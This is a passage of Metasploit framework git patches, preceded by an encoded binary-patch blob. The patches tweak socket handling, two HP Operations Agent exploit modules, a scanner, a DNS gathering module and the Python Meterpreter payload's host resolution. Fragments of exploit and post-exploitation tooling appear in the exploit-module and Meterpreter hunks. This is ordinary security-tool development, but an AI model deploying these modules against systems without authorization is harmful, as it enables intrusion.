zDd?5AJFto5zOOZ|^rjtQhdxe3;YriSB+?<>iblF0kamfqkO>JzN-hXJ9oRxXd0*pA zxpIWoRQR6T%W<cPt2&)?RkTzGaa>Q*^@54JL9#A9W}F6tk3C2h2GU2Ij|AO@G9QA? z7y6|U9pX6Tpphu45%w^mfHYs&;J5v2X#7@aEB<0ZIC=JBP+;*fc+YXvOWv^^czb0R z`mX52#bDfAe|~X5AAEs?MuuTi-~Mz0w^(gm4I&XAg!K6QF!RmYx+~pM9U++??CBf| zO^|MP)TG0uVFNE5f+Li;g>qmKn~})bwHXP>EdY<ITpm511(Z9mjx4;?H*ocJN*rJ2 z;&|YwSGuhDj6!ya9Jn-;d$*$b(r~^a{o}P<Xwy}yp7H}M@HuderhFAFP$(*Xs97yn z<kkT>+_&x<8YuGWDwckRXB{WLC%3-H>G8t%GR5P7`5q`jxc+<cSnc!t{+}xD);=Tz zM*bvI%(@{{ya9;%L8dqfc&cK;^?_aDxBt#sSKOk3PjNF1e47|jk^Tow1*9`%kh0>9 zoAWwnG~ESqxV-#N8u+BMly6N7O)1J{9D;yw76j$}Ly;lHcW4l<yiJ2><=-@jlT}Q= zo!Wt4<wJI~J`>p8hg0+c!~=AIp@8uf{r<kt(f>dvkj#*82c|m1C)~w(b9=nFaOYlM zE}F0D>8kPNHhT>)hjI$XhV>XR=yvg9A6b5P3uLP7#VN!~cz|TDl4I&;0#(=BRo;!` zyyfNLoWeOTm<#V*9LXu@<0*Sly7RZLTn{<g%XMB2=8XLIXjji(+)rKsbOapZ;zokJ z{ZIMAKJMtUiOz1}+;AW3Kn~x-jNzQ$hI74~OTxKM!NvU<&y{f=x-CM%AkaJz>wGz! zo6*seo!8IVF@m$VCu5w?MQ|o%xTluGT@ueJ$~^EKLJF4v-3M@rv4B?qUk-3}isT0Q zbYv<rRNka<;zPqtU6q44#W{$veg~#+wRhb>=M7w7^V<hIJH>P1ezF89yJ2j#ce+y- z&&BZNYS*-Q?hLP&o#Pbst1(fkJJh_7DE^2MqGpQCLo@{sci_<C-8r!36pKIVfT+xw zGl+|bRD2A~K!!=bh-jn~J&!1!d!byebL$|ke^lOeV6f!{ruZ8~v2&x*%ZPr!qBS?2 z_~<G;vhr`BwlS3XM?{H~`wOCLSv1!fKbRW=m6$!4)9I8C@rqMuNLG)JB|uTBMjA0$ zeG`>Lho%@_!M@F`?yx-&(OQO;Ij;@oLZh}X0M)k{CiiJXcT3T^h`zw0+gCb!E4kQS zxi4~x1}g;QK$we8Ekl?M{)uz4l1uNJ_ZHG!(7Fp@2MEXYrjkqHxpY^9itEgA>CQW9 zE`w9J(lngdvqQR>Qyf=12ae$eb|@dlDUK<fxnsDVUGqkvdYt_fJ!g?YgUrsgW4QDV zO`}mf-1X5I?f}OZXSs^UaWnk~HRYnB>~T)vKkRgAhP)x%elnYO{HSsUGMb)f&+rDN zbXT{j+$&s1#ZypK%=;(T9G}Lyj!)y4_;cmX#JT)pZj1BnxqNE(a=eg(-LC%_q+p@( zAYt?KdHgFVwLOo2nA`2VMT70m;q&-`+zn^`JbpA+=d7Fu<W^Vr`TQt(&q~Wb?zY?b zLp09Tnv2f-1^f$mnBw$b$j|J#_mO|xZD%gqXq??M9&)W)$bZRkdz>>D^E<iyPVXhW z(*FQ>qU#|0f-dloYxojAP0k&4u3pX$MsQ>~zYTO<mLmQ-$JIL3EBGh4E3Ow;@L@c6 z!gb8fFXJt>n|Ou0?oKt<8(Bf%>3ZJ&onZgdXMX=%uezh3qq*gd>f<!mUN4{TYp)Z8 z^Vk$LZbY@{GLhyZoJGS{;NlP&vx#?p6X_KrptjQ|$}5Vm-Q@goH6PNKk}Df2`xwCq zz#+hXz;3`+z-GYuP0n6x_z~S{QHPt-ZvwOe6wZP*{Nu^_n`y?KFVSi=q9E7C-=7kH z@sz(sgz-lUm#;;9Ki~>+_E^jJ;qx~;b!+)J8ctu!E2C*4kcmT}1n2?jfDr&QARF+s z^YB`JWPsH6Dj?PawgL`pc6BS|hxOnpomsE&xd@KF!Y6T+u3NA0gS>h1peyQi{_hU_ zmJeK!Z}A<v743YFSDZY}D}-}s=_0S_gLEv?v)<<wJ1+2wwI_JRvz1`BidS?(y6IhB z(Q=Acq#!;2Jg>+>dOFgto#hqRs(Hnk<GkYHNnYWP^f093kyazU=nSuT6K!lhhR&mn zZ_!4NbG-BQO8$F3n|H21%_q_D{Aqq74a3gx?;v!2a)x(sT$O7|72kp5wmN6N&sX+Z z{pjCrdI@yH{ts6Whnt}2Oy<ALdDNMDj<4ftoPDbKV07M4&Fc}&r@<xHzG}V?$DMb6 zaGqb*uLbUr^#*>#N+=V1;$_BH)jtgp6r%q;U`}2~=BYZtIbADsciAuSgzM=mN2OL; z=`(nQIXTt<icq))e!%NE?uzsAOS}@n^Otx76ujmVKY*)s{e6i~<tE=9DJXVr`A4p( z_S%Zys}Bo^ZAa{>Od8vb*l8BqgV?Z%D7+t$YOe$M?LCSXIfU2>R^%vR4UE7E#6Hb* zIX}YG=dQbSHGD6De<#b8d6}O}5ofQUZEn4j|C~R@-Ef`woX@7{z*;_D;QXCKuJLgQ zY}fd0oWHB%b-tS8db>XPioe=1Y)k`2upT1^_y7=llUHZ}#eg#n&I>>BhcSDLL_VG8 z*19Th@_#_Kt|N{7CtOevEJ4End&}Pi-KxEcyLc(6#lwfi&R2fnU0i@G>sP*tjzq|B ze1C4OGvhb@C8WOpjqi(8$KUxEk=p$`ABEKU-}%!4t3Z#QdmjWDYF)5d4RF1Di$Bey z$!WJi1gf#_4*v`){Bwt2z{NNVTKM5GbthVQ6VKOla0!3$`}yt)5ZW<0z)RtfAGPBz zE5Lboo%tIo$d~&beq9LUIIZhFPWV91`8Z2E2=ScUb-07DpT`V(tfO#I;AF0WenJ7q zw{p(iU4##~CTE_%u#s=!oPt8o!FMq#grfmB(2S$Sj)(XroDUAco)ZPUy9)T*22NvF zA&+Zz?e8j#;?c^T?m{Tn=)x^#2uBrO9VleTX=GWj5G-)X&gVmfg;=4wgbMw*P!T&Z zDhND=#}4QQc1q^5l2y2%Mo&cN#4uqoCpte06M7@KiBx+9`f~9<6<o!Aggl<><N7T^ zXyCbQ=U36fOfJ{?P+!5$<+{%Gg+Qq6zKRig@LaL0IZmkOxpLRn@j@uiEpxRF6nY9V z`Lwg97PYAvcMR^ptw<)&2)zPEgnlrOZ}Odn1Yt3q*@qH@XxhK43BpY|Cd>O;p%2&W z{6Q<kA?TtLRzpb7>4XUge$ok1m`I)VLN4WFwqBUebG=-3Ny01vG8~&K<aOpoI8Tlg zUZbR+7$x+hq&JQdz6*#LM)|_!VL`NX@L_Ms@-MMM6RlUq)BTy*xp|tfvio%u!+~;d z2mK_2UFnW-^~)8y2wav+KSOxCW7x_(L9uU+p!fz5HCIp+0oDUP1+?V3yk-lJv!R<c zN2u_Exe3n~o<XoVU-*`CwXi_Ah~z^HgazFzrN$I^#*WX5=${vu==xv*Mh%XVX%Q4F z+WGDx;TXDJuvi!X>FiuAyor=~i4fBD3M${ukaPJFWf}A{;96JV62ZuEan55)1rfo{ zWx^O3oL`p-7vyO1*a{&L!LKVocYyQpmBMYRr&H`g6{mDYt`dg!Y*VL8ux9jrq0F?F zDbli4!j$$*`uB0}&uqFsld9l-nXZ{7!lweKaq3EiA_T5dVL7LFYS)1=z0<x<xW-L( zO>+p_1hC?AZxCMe;wHLY+$@xGT&64fdEr#2(4Th+3g-?%@c|%wC&Ud{5BLet?Z^&c zh5+51xm(yMShgGz{ugh7=Khb~!u|?Wi!R$k^AQf9;R)bGfbSte@)l5=c?$xKTwTrg zj-m9hFh7f686Y1p3osKf888tr24#D%;WGkhS%;gpZ~$-uP=l<6Yxo%{nj<uec?>rW zGm8I{$Dl_Rc%y~OM<6~6u=%jy?75Z?6M%K<*YdHDaQI#!A%>O$XClfp0a^eupnL!d zKoB4vRa|TNi~y<mVL*)mOa|l~aeca1xZusrbZtE-l<-`DGx9KWveLQrurLonmm@+D zg4iRlT$QdZM}!!!z{ya?T}roHarTnupA|Fo^1H%mIcIe~S1Bx|y5H@zprbQ#^l9NX zRf~t-7ykC4=WkH6E6$8_!Ygg5TIVn4psurA(bdAYUARP7htGvm9R@A_7K#Aq`<<Y$ z09=5i?*&CB;0Ry~pat+V;LP`~Ti1m`e^|?TjWEg`>%gPCuP-lmZA|bg;fhAQESKp4 zaeyv>rmb>W9pEFtNx*)<7QiY%KHv#}1uz1j1;hXX0ROy%x`69|bAW?@7XfPld4O!d zFdCu_`tJ&n%YG+v+{SH2!+>yr1~3M21DUMQ4!P_i-~`|;z)rwwz%0PSfJ-QQ9q<dF z6`*)dE(-$;0t^E@49Ej42do3^1RMu^1o#fn{9KV-CVyTo>jnq|Bmu?&rUDiKRsq%n zUIe@as07piegxbFbaA2{Km`~E$ObF`tOsld90F7Ut^$4p{0@+90iystU|bP?CIjXG zmIGb{>;)VLd<6Ira2L?&1-UE)paBd6WCP{^RsuEwb^;CpssL92HvzW+{EHYKKsaFM zc9aDa1FV2Y0Y$^{qX9$%x&b->zJ5h6`xI~vZ~`!VCmIA;0gC`@0j~j$15TiP4M4<j z+y!(2E*hW#M1t{85!L}30UdUM5x^6Wf*xhVc3}K{5NQE{y=Z6?U>V>eC`ldQHo#{a z3IYZJQUT)tlL4~;s{qdfb_0$BE&*-;?gD&4CmN6pFau@*>d+4ThYPD>oGupQ*i0sy z55=MXnjoU9fGWUSfKJfXB?xVRM**V%sepBWXyk1}NdGN@vaSYf1-u0~;rwl-yido2 zAiEu~!C81q$Vw|mS9Su50ssEj`Z-+5W?qs1C$Bg?40g)%FIO%o_-a8h_Y2;M*&65y zZx+_~=yv-HnPLs#A3$g=bm<G%$xiY?kzorC@rs|dg5t61GsCCPnl*RE^!%sh&XLLT z?Q+HZkDZ+c$_Me}OIOlBxyrx892ERn>zbb|pQ`f{5Aw2_4uY)QSCHj8zj{XA({dd5 z11ABL7u?{uC%AB50BB3+9g!*W0d46^>v%;Cpe?OJTzg;oM+dLC>2Qw9mxu9NUy;Jq z+oiD6E-4J!Ernmc&ccpwy&=&Hads_`59T=MkOFyc&d)go0iRbx3-$8y`IJ{gI$tP| z_Yp3C&O2XPEDz(pbY3lxhbcB)lj>8RCL``N=gWimSHEV|xlrej1@b--=Ub&hSkmd; zo2<qYwxvfpSD;uI6E7&*P!o9P)B<_0E{BDCxGI6+BHqBDQ8I01|4nY5^EZ$iGOy$R zUhD(^|2;q1Id7r7&-B-VA1p>6o!sC0uOScS|C^h?Lm$lFb6@>f4b~OsZ)nEnJ)Km{ znOh(a;s!bs7Rh^i<v>+uIVUWV_u*ol^C%{1xS&XNZloA*=Q{|5Uq%YfYX$O9ZkF>m zq`RD5EfJzT{!zjtCWMtpW%xhWIv>U83H>)p2*KtQoTKyQp*}yJzps6M*Lmkvl=GST z;XQ1Cm+xIc5$6hCB7aw2RJ-ZkEW3y~nT+o-0?O~<W@2J4l3``LuiQ%DT6wHu_u(pm zn~1vl`|2t&@3*4v_WR1|VGr=mQMQ#{Ys+LB`XigqraH_f7-;)<1h`8mxc<J%mB2Oe z@{JLJ|F;_d-)j7St1+7^|G%!r9otu9*J8VTaR--ToqSYB!@yI+9;S^i*d?b&@-lj) zN+BERnSeaN>jQ8v2e=q3la(X=8sNC|Wg?$Js(9t|o8^o6!)u*OHp^e*#<(J$!+#6H z|8&?{p5XPov*~%coUc8?5-xa%K8gI1k6Fqq9DkW1+L`d7{3U+GXAIS07*HoaXYuDh zM#Znrx<Ez4xsqz+Q@h1{`L>|={|48|@8k#NMY%AI6rKcF;4v%&tN}OyuLE3wYQPtO zp8$6N-e1ZTJpr)*9Uudc1$Yv$5U>W|1iTJ#0jdFC0Dc180eIt<uqPn)s;sv{he!q> z3-BahAz%%_d6jmG=Uu)x<(4;!o>zq=-b}ov9iZQ+e@VYzpJm83tTjA@FL-2?GFdZ% z1FFla?^T@IPu*1=s18<#sw32W)&0~1)d}iEwLzVt9-=m>N2<rFC#WA$=cuQsr>h@V zKc$|no~JHQFIE?-SEx(WrRp;EM)h;*7t}AScc@=gzoC9p{f_!@k@}eWJ@skz`|1no z57nQjKU06H{z=_c6Q?n1hH6G=ESkxhCp5D(^E5@863qt9X3dM5cQnT}?`uBOe5Yy9 z+}5}?-4l}%vl3?}&P`mLcqp+d@p9s|#HK`dVn=OPZBOk$ty-I`9ibhkovD36`-=8e zZH4xjc8+18q1aGrD2hp4le!_bHtpNA`m|ru(A^qrkD!Ti<uv6&<r?J`<)6xN2}=@+ z6G{^{ChSj$R%um6)lk($RgNlGHD9$*Rir9cJ+FF8by#&#^|9(R)lJo}syiwlbq}>t zou(eGUW$GmQJ+BPK39LO{#D(qzN=Pf0yVugQJT0S%|K1MW;A;DhUSpw15FM3)vDnW zyCw!D&Pgm!+>-cKVqKz`_;X?_`lHasYPDLUc8GSocA|EY_6hAQ?KbUh?LO^C+Ap*} zYJb<ZXnk~DbYZ$^oko|W8>KVra&=pEuj>x$-q(Gq`$5;Bi_;I%YxGI_bp3Gs7=6*h z`YioS{WJPSdb@tDp6Ivecj@=&EA&V8XZ7dxm-V&!@AabomcB(V7<>%f4MBz|L!3cv z&>MytMi?>;*@hVgtKk{LB7+@zLkwFCy9|2_6^5gRvxf7A%Z6IR_Xg2$%g|yFl6;c7 zCj})%CB-GFlk`bLlSU+E7A0jT%}BB)J(IL3$)2<}i6m`F+Ld(NSZCBHrzH<h9-BNd zIWM_?imXm1OULM3Q+}tcSNf>@R3WMem0G1&WvIrerbE1y>MHel^(A$U+N#;FJD@wH zJE}XOtJK}pyY){d%bH~Pz(gkdCGihPQqXpSZUkwU8;jQ93o98+Pda|rVT89Nypr%* z!kY<)65dTXlW-xSCZW4(u*zQ_tnaH&(5L7}>L1Zh*RO)C*6Yjln<1~eDR}<Fh(D%! zN|mRQ>4NpC`YS07DgWTZF<Ce#!*^XWF0pUo$i$MwImQ*n^TuZ5U&hYp*utXZ)?^`N zRLaDZ?3BqVxhXSKtSPfn@>23s7SYN|PPPicp2W8khiV_zF4DfJeNFqJc9d=uhG?T< ztKoISdl2(Y!yg7&Qs*RX(vYMvNm)sYlU5}?oAhGR^`rn}v{7SBGmbJ^jn5dD8%vD` zjmM2=j2Df*$pOhB$wg<9FD8GQ9Gmh;iaq6v6t7fu>ZsI5Q(sE0P5mWRk@iH|TWPX% zPUZ_H9@XA4%FLWB9Pt-bH*vVORd-SMvF<0`9i1MM`Ngm~NtVmWf{;JakYku_m~U8N zh%m+(ZAMw1L}RbkmMkll;#aBUi^`?MI((ia+b+dB>6WC*YNYrQD!V!<{-_r5CMj;y zBaUzFC}aKUw8a-`H13^*pLAYEFGWwQE~tK21;bcr)Lt4tjZ%}PnW34l8Jaj6bL+Xp z9f=1Li&kh$wfnV~wclue(Vo&(>webt(#Pl%^?`;^Xn3AsnZaRr8tVB%(z&EhlfF$l zZM<Oo)fkc-m#j<fl@f^o%S&02Vo9Bvx+C??)RU<tY1L`pq&1}7rA(Q5HufJVy%V}8 zL?!4G{8WLeY}HI?$td;1u!cK|)CbjTG|y^2)qJh_Rr76PePR!7q*g_Hiu?3g2!fKr zlA<wLCMNAp`Y7pI(w(F*V}GN{IK?>ExWrgwtTA3U-Z1)OEFVj@C+|o;ocw)qmz2RN z<5E_pY)EmYY)jdbax$eV<wDBk6h&&!)CH;gQom09JGF1xmb5)-MOA5+(i+ob#k_1k z8dE6yDIZs^R=%j*t~{W0DX%K!36bD?V#4%<vV>O?_9gt5&`H%5HgK3~w5m|GNp)J~ zt?q(VAqML~lG?6*R(%-e{2TQj>du-_O_FAsW}9Y@=7Q$3<`<10j9UN1sfh~`Ur#)o zcurrhZ!Oa28IC}E`zDP`+JGKbC5<+2P2QP&DEV^o@5vogf>I*W;?gu}Pp8?_&O)qz zQn8lvY*xIQa5mw3!uJUc2~7#j2`vc`umz8+W<j|5szs`0s$$hD)mqi3s#?``Rh{Yv zME;06PrXpROkJ#Ag(c`?HK!@^(fDc<ngC6ZCPWjiiPp@~<ZBjbmT8JLav0m?`V#$% z`rUdjV~}yM@gZZk<mXegX_qMz+j$w)!3oNBs=aEBW}n6<aY*7*i7zF}w9(KglWwJM zh~Zq)m84kXV@6_p$@qnlep4ztz%yHMAYr4bt0t@nIyoKd+j31gK4_Fx^0Hh6TZ~(c z+l{-8dyM;y2aJb|M~x?pmBuO<j!PKtE5=%kc^yVwG&UNWU`$$!twve0JlQANH(7ys z-6#2OvKIDaeM(yDlWChV#Gj;HqfFQEboR;omC?#UO1*NivgldmQRQW2zl79;Y*@Vd zgbk`aSjoOsHK@9&d#R(;1Jq+6wn<pii`46(u?Jvk&tR#(rv6slsQz2cYrG-5P|YBX z2BSSpGg9-YW~1f>&3=tbb3*fx=1VB{A6TRV6Savaur${tHo^e&+U`*D5!#1~wAtDj z+SOWz)~Vg9eOLRpwx=#er`DzE#_Oi)9@j0<t<pWKbLw{M-qKysdFi|9d+XEmv-AZ} zo+f=aL$G1BVV~gubm+LD(oki%X!yu*1&hvCSayCg{A~EmaL4eMflKmAs!aMZ>9?fr z#wU!g8Q+97Ta5o0<;g{zAg~_Ep~=z7@yV)WLvng@M)LUNtmJ9QPbcRmFHSB>E=?xM zyOJxC&n90={u{=+V~T%DU`lVy{eCIR6kSSciYa9b4ESW&g1Io<OHx*0;_XOzE#(L% z-p46*Df-mYsRz@3lx#vBk8LoFmQtlmRb~_^A68~7mndISRw=(w{-lh-K#WM3necSN zyo92Jl7tsA<y;9T6RH#H5^g30sp3^jR6A9x*brP+_eqRNJfQtjyGZw*E?57gz6=YJ z95P8aY)f{exKq8-;?ok+%xM-n_D#|h|4rFj-3J33tBzL>#-OToYEk_Qe3Ahezf8DW zOEs%C<^Qi_a}TbnI-~g28$&3u6N1nLkXJziB(Tppd!PL}XK#>zAVd%v9zu8+X;9>) z5Nri*jPhm-uXIqLMcxr?h#-VPCI(S4@+gm*fPk^UkWwjN8xd)puAAnM>_0Md?!Mpt zzO{a9p9$TJ6O5l;F6-?V0xy>EL%f@qBKC+Q;=ag}g>td1fXi3O&*Zl#^j(>tehI0X zrFKCn-5@(y5G)T$QMuj0{-8D(9zF+4TOMu;-w!KMmA{7x=3&z+X4;$1h8PY3U1~lt z_e`?gZqH-CQ6zr+kilrqGUudI=cKr4?j-j$w;T<6*}dns1d3(?I;VMSysH4K6xtIF zm<x@cMqi<e=^AW5iFE)Se#pK@)1~>d{I~pX{dwrA_52{e&!>pkGEpi%6JLo3WUA~a zyGlp;a+OTg**aer>$AFb&^gEqTVb1xCc{2q-;9?sB^s&35|Ck}i^H9K@L>ryS?yef z4E@UO>h^MT-6?K~+tusk2~5ySUJanOC!qE@pk66GO|R4Wtf$XoV7WZM*k1{bYYt{x z!K?Ur-pDtIGEpPyMSCfMSgESLqAEufsZzCGomJncj@sy1dWC*ZpTH(B=pI3SFei8q zO?p3Q7xoQv!lLjUG@ybhb+e;j<Zs%`Hqt2?`3*MyE~&xLKj!pyVu^058@fNaQ7HD$ z-VI7w$R@K&cAT~HU*MZDa_M5e*a4ag)fjyAE!9tN)O+<|2+_pQ#;ZZ1aV&_mAsx`u zLr4WVOqeqidNKeWk>@6R?O?$r-X?Dcyy3W42Y0vwcgP3krp8!D_5}Mao66?0H*ikh zv7cCbNJF9Dh<fDk(foIO0Usd8%E@x7oCRvXAnWCHJzwv~3@2cC+hTBiP~u#;-|Ap} zuoKPpP4Lg4OE?fCSr8V6^Pq!kQH`>2Z+I{~7M=;~!W-e;Fk+HStdnuje4)uUIcB&S zZ6=z@W~zC`ylNJhMP|8KW!^S_G+WJXQ(+F6Ds$A-m@}r<Tr$_p4RhQ42rG@+7B<DU zu^sHMZFdZuZv&fc2ic)0{5U(wzG!FIId;A+woB|vTWZ(aEwJ7{+x_-X%vRek>`8mh zUPJ`BjtKJaxJ>kkHbt)oNi*^=X-(RaP9%e55szrnhYTQ3lM!SLnM4Z695RnAC97f8 zACr^h21#_1ogq#xT5<#IdaqOCoPuuLa$2G#scR5h3SirdVB8zsBW|M`OYmAC!x?X+ zH^H0j{T><RYwspbrz7nKD5<3v>A$F8mOaT1K)*j_r`cC<xI{nMe-t4k*MAlvWV%1w zFY*`q%ls05oqxq|@E_-yoFRbp;{$mv{{SF<o?qd^#SbD8T&0mQUq@OfmmkGswLB$j zO)r!vGAtU&L_c-I81127(;sOX%VHd)c9@+*o;$>icvcjN6LABc7{!0(M<Opka0)@X zW$L)Pq^_Vn|Er=pRj2FjFl?qn-A@nF&*)L$rOA4_o`cR=q}Rb!_v<SCsg9k(@H`r@ z;AyD**5G829&Qe+!0r>wT(cvdf@ek}<FK4_s$GWpokR<uk1Oco{wOh4Oc42y-Kk;* z64V{>A8|qcAahj#0DQUHsLE9}CgvKDt+{Tev-A)>UeAQ8tkpeiNqlmOqOr&dtWk1} z%yufA3|G0^-1pr80s3X{Rd1hnp-G&3(0A!!dX+weT$sgXvSL=nE@D>N`Z@jx<iJw@ zl7G`r<Qcp-e+?Q^!!PjfcuSEchKupoV7kl*$HS0549|tv!eM5nS!=#Dx6Cjb8)p~V zRraqytH{d#f73xozK0<XU65)wy4&d<`WSniZG(iyPkW+Y05_=fmvKk-S0mIkRjgL3 z&FZ>(P&b6h#+oU3_%3tWyo8Q_%l^sUiGR~g(MUFy=HSc0XwEgx_muk|@X8p!%&+o9 zku3Jg5wP8{Fy8#20OmU*$i?h#4{t%knob<(6pd`cLoSg9k_4dk;FWK{9}hZ{0iGMY zE#5BR$v&?VXwnSrn+f8lRL}qkI~#WitLZwrfo`H(=`UDoM$lOSi}hjI(7O^=&5l9y z{(?rULuu>TRo2U=zQEN%AAhX4E~I)M0=qO=7knAi1r0%CkP}V{SBEXk=jH+X2u2q> z`#2goj%5{T;mmjb;52iO;pQX>n0b>$`6D=<UO=0^0GrSG34Rtc@pBA$d^p<ZMG=F0 zmy5146VbZA%#pb=51JRhr-&hftdZM5IhA0XWAZdK@Ne=qBK3InygHzcsPk%&9;!#` zaeB61rppjf8uYy;zG;J8&^>T~H3Ng(pfD&3%7cSJ9we^OM69u~r|c|SXy@5QP^K-m z!dBTcwk~cJfW>HJG?o-7dWKW(>~}^&&DXe}xM@&~#VGet@2<C;t!63yV!w=6@G<fq z;DCkb{kPRlMfG4^r0?qVuygo@8EXq{qrD%0Zhf>VZ8s-rWNVBZBDcvL=OnGCOi0AY zzM?-uc8+)kL3@nIL)e}nvg82Nqfpk$<aoZj9c@BrPM7d{UXKsGFSFFkxIw_*@RlGA tzZ(Fjw{g`Hp$Rl8{%#-zZzHhmRJ+w4wNF*5k5r^nLgWD1{?O6%{{igfUbz4O From 758fd02619fbf92349855c1df8277d618d84d777 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 2 Oct 2013 09:45:51 -0500 Subject: [PATCH 099/210] Windows 7 SP1 and newer fail when forcing IPv6 sockets --- lib/rex/socket/comm/local.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/socket/comm/local.rb b/lib/rex/socket/comm/local.rb index cf43c983e1..eaafb12046 100644 --- a/lib/rex/socket/comm/local.rb +++ b/lib/rex/socket/comm/local.rb @@ -131,8 +131,8 @@ class Rex::Socket::Comm::Local # Force IPv6 mode for non-connected UDP sockets if (type == ::Socket::SOCK_DGRAM and not param.peerhost) # FreeBSD allows IPv6 socket creation, but throws an error on sendto() - - if (not Rex::Compat.is_freebsd()) + # Windows 7 SP1 and newer also fail to sendto with IPv6 udp sockets + unless Rex::Compat.is_freebsd or Rex::Compat.is_windows usev6 = true end end From 77d0236b4e5e85600abb5c73ff002eb564274355 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 2 Oct 2013 16:15:14 -0500 Subject: [PATCH 100/210] Don't overwrite defaul timeout --- modules/exploits/windows/misc/hp_operations_agent_coda_34.rb | 4 ++-- modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 2c0198d667..09f9c69caf 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -126,7 +126,7 @@ user-agent: BBC 11.00.044; coda unknown version connect sock.put(ping_request) - res = sock.get_once(-1, 1) + res = sock.get_once disconnect return res @@ -162,7 +162,7 @@ user-agent: BBC 11.00.044; 14 print_status("#{peer} - Sending HTTP Expect...") sock.put(http_headers) - res = sock.get_once(-1, 1) + res = sock.get_once if not res or res !~ /HTTP\/1\.1 100 Continue/ print_error("#{peer} - Failed while sending HTTP Expect Header") return diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 354ce38303..1603d7fad5 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -126,7 +126,7 @@ user-agent: BBC 11.00.044; coda unknown version connect sock.put(ping_request) - res = sock.get_once(-1, 1) + res = sock.get_once disconnect return res @@ -162,7 +162,7 @@ user-agent: BBC 11.00.044; 14 print_status("#{peer} - Sending HTTP Expect...") sock.put(http_headers) - res = sock.get_once(-1, 1) + res = sock.get_once if not res or res !~ /HTTP\/1\.1 100 Continue/ print_error("#{peer} - Failed while sending HTTP Expect Header") return From 773abf0567270bc9687b9ef11bf634f8f2ec4fcc Mon Sep 17 00:00:00 2001 From: Tabassassin <tabassassin@metasploit.com> Date: Wed, 2 Oct 2013 17:16:38 -0500 Subject: [PATCH 102/210] Pow, tab assassinated. --- modules/auxiliary/scanner/http/ektron_cms400net.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 55d3459652..aa742336a4 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary end def gen_blank_passwords(users, credentials) - return credentials + return credentials end def run_host(ip) From 1fe0c50df0fdaf3e6a41b52ffb269e01aab11014 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 2 Oct 2013 20:41:02 -0500 Subject: [PATCH 103/210] Ignore unexpected answers --- modules/auxiliary/gather/dns_info.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index e1d37e3949..836bd4119a 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -124,6 +124,7 @@ class Metasploit3 < Msf::Auxiliary query = @res.search(host, "A") if query query.answer.each do |rr| + next unless rr.type == "A" record = {} record[:host] = host record[:type] = "A" @@ -134,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary query1 = @res.search(host, "AAAA") if query1 query1.answer.each do |rr| + next unless rr.type == "AAAA" record = {} record[:host] = host record[:type] = "AAAA" @@ -189,6 +191,7 @@ class Metasploit3 < Msf::Auxiliary query = @res.query(target, "TXT") return results if not query query.answer.each do |rr| + next unless rr.type == "TXT" record = {} record[:host] = target record[:text] = rr.txt From ecf286a8c455c832f1b0c66965cd0c3fcaaea167 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 3 Oct 2013 10:31:54 -0400 Subject: [PATCH 104/210] Add support for stdapi_net_resolve_host. --- data/meterpreter/ext_server_stdapi.py | 57 +++++++++++++++++++++++++++ data/meterpreter/meterpreter.py | 20 +++++++++- 2 files changed, 76 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 98b1c235d0..1ce23044fc 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -149,6 +149,8 @@ TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 +TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 +TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 # Socket TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 @@ -273,6 +275,9 @@ ERROR_FAILURE = 1 # errors. ERROR_CONNECTION_ERROR = 10000 +WIN_AF_INET = 2 +WIN_AF_INET6 = 23 + def get_stat_buffer(path): si = os.stat(path) rdev = 0 @@ -290,6 +295,27 @@ def get_stat_buffer(path): st_buf += struct.pack('<II', blksize, blocks) return st_buf +def inet_pton(family, address): + if hasattr(socket, 'inet_pton'): + return socket.inet_pton(family, address) + elif has_windll: + WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA + lpAddress = (ctypes.c_ubyte * 28)() + lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress)) + if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0: + raise Exception('WSAStringToAddress failed') + if family == socket.AF_INET: + return ''.join(map(chr, lpAddress[4:8])) + elif family == socket.AF_INET6: + return ''.join(map(chr, lpAddress[8:24])) + raise Exception('no suitable inet_pton functionality is available') + +def resolve_host(hostname, family): + address_info = socket.getaddrinfo(hostname, 